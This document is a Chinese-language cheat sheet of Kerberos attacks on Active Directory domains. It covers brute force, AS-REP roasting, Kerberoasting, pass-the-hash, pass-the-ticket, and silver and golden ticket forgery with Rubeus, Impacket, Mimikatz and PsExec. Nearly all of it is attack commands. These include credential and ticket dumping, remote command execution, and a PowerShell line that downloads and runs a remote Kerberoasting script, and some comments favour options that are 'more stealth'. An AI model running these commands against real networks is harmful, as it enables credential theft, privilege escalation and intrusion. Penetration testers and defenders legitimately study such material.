域渗透 | Kerberos攻击速查表

0x01 暴力破解

使用kerbrute.py：

python kerbrute.py -domain  -users  -passwords  -outputfile 

使用带有暴力破解模块的Rubeus版本：

# with a list of users.\Rubeus.exe brute /users: /passwords: /domain: /outfile:# check passwords for all users in current domain.\Rubeus.exe brute /passwords: /outfile:

0x02 ASPEPRoast

使用Impacket的示例GetNPUsers.py：

# check ASREPRoast for all domain users (credentials required)python GetNPUsers.py /: -request -format  -outputfile # check ASREPRoast for a list of users (no credentials required)python GetNPUsers.py / -usersfile  -format  -outputfile 

使用Rubeus:

# check ASREPRoast for all users in current domain.\Rubeus.exe asreproast  /format: /outfile:

密码字典破解：

hashcat -m 18200 -a 0  
john --wordlist= 

0x03 Kerberoasting攻击

使用Impacket示例GetUserSPNs.py：

python GetUserSPNs.py /: -outputfile 

使用Rubeus:

.\Rubeus.exe kerberoast /outfile:

使用Powershell：

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat  | % { $_.Hash } | Out-File -Encoding ASCII 

密码字典破解：

hashcat -m 13100 --force  

john --format=krb5tgs --wordlist= 

0x04 Pass The Hash & Pass The Key

通过使用Impacket示例：

# Request the TGT with hashpython getTGT.py / -hashes [lm_hash]:# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)python getTGT.py / -aesKey # Request the TGT with passwordpython getTGT.py /:[password]# If not provided, password is asked# Set the TGT for impacket useexport KRB5CCNAME=# Execute remote commands with any of the following by using the TGTpython psexec.py /@ -k -no-passpython smbexec.py /@ -k -no-passpython wmiexec.py /@ -k -no-pass

使用Rubeus和PsExec：

# Ask and inject the ticket.\Rubeus.exe asktgt /domain: /user: /rc4: /ptt# Execute a cmd in the remote machine.\PsExec.exe -accepteula \\ cmd

0x05 Pass The Ticket (PTT)

从Linux中获得tickets

检查tickets的类型和位置：

grep default_ccache_name /etc/krb5.conf

如果没有返回，则默认为FILE：/tmp/krb5cc_%{uid}

如果是tickets文件，则可以复制粘贴（如果有权限）以使用它们。

如果是KEYRING tickets，你可以使用tickey来获取：

# To dump current user tickets, if root, try to dump them all by injecting in other user processes# to inject, copy tickey in a reachable folder by all userscp tickey /tmp/tickey
/tmp/tickey -i

从Windows中获得tickets

使用Mimikatz：

mimikatz # sekurlsa::tickets /export

在Powershell中使用Rubeus：

.\Rubeus dump# After dump with Rubeus tickets in base64, to write the in a file[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String(""))

使用ticket_converter.py在Linux / Windows格式之间转换tickets：

python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi

在Linux中使用ticket：

使用Impacket示例：

# Set the ticket for impacket useexport KRB5CCNAME=# Execute remote commands with any of the following by using the TGTpython psexec.py /@ -k -no-passpython smbexec.py /@ -k -no-passpython wmiexec.py /@ -k -no-pass

在Windows中使用ticket：

使用Mimikatz注入ticket：

mimikatz # kerberos::ptt 

使用Rubeus注入ticket：

.\Rubeus.exe ptt /ticket:

使用PsExec在远程计算机中执行cmd ：

.\PsExec.exe -accepteula \\ cmd

0x06 Silver ticket

使用Impacket示例：

# To generate the TGS with NTLMpython ticketer.py -nthash  -domain-sid  -domain  -spn   # To generate the TGS with AES keypython ticketer.py -aesKey  -domain-sid  -domain  -spn   # Set the ticket for impacket useexport KRB5CCNAME=# Execute remote commands with any of the following by using the TGTpython psexec.py /@ -k -no-passpython smbexec.py /@ -k -no-passpython wmiexec.py /@ -k -no-pass

使用Mimikatz:

# To generate the TGS with NTLMmimikatz # kerberos::golden /domain:/sid: /rc4: /user: /service: /target:# To generate the TGS with AES 128 keymimikatz # kerberos::golden /domain:/sid: /aes128: /user: /service: /target:# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)mimikatz # kerberos::golden /domain:/sid: /aes256: /user: /service: /target:# Inject TGS with Mimikatzmimikatz # kerberos::ptt 

使用 Rubeus注入ticket：

.\Rubeus.exe ptt /ticket:

使用PsExec在远程计算机中执行cmd ：

.\PsExec.exe -accepteula \\ cmd

0x07 Golden ticket

使用 Impacket 示例：

# To generate the TGT with NTLMpython ticketer.py -nthash  -domain-sid  -domain   # To generate the TGT with AES keypython ticketer.py -aesKey  -domain-sid  -domain   # Set the ticket for impacket useexport KRB5CCNAME=# Execute remote commands with any of the following by using the TGTpython psexec.py /@ -k -no-passpython smbexec.py /@ -k -no-passpython wmiexec.py /@ -k -no-pass

使用 Mimikatz:

# To generate the TGT with NTLMmimikatz # kerberos::golden /domain:/sid: /rc4: /user:# To generate the TGT with AES 128 keymimikatz # kerberos::golden /domain:/sid: /aes128: /user:# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)mimikatz # kerberos::golden /domain:/sid: /aes256: /user:# Inject TGT with Mimikatzmimikatz # kerberos::ptt 

使用Rubeus注入ticket：

.\Rubeus.exe ptt /ticket:

使用PsExec在远程计算机中执行cmd ：

.\PsExec.exe -accepteula \\ cmd

0x08 杂项

已知密码获取NTLM：

python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "".encode("utf-16le")).digest())'

0x09 相关工具

kerbrute.py：https://github.com/TarlogicSecurity/kerbrute
Rubeus：https://github.com/Zer1t0/Rubeus
PsExec：https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
Impacket：https://github.com/SecureAuthCorp/impacket
tickey：https://github.com/TarlogicSecurity/tickey
Mimikatz：https://github.com/gentilkiwi/mimikatz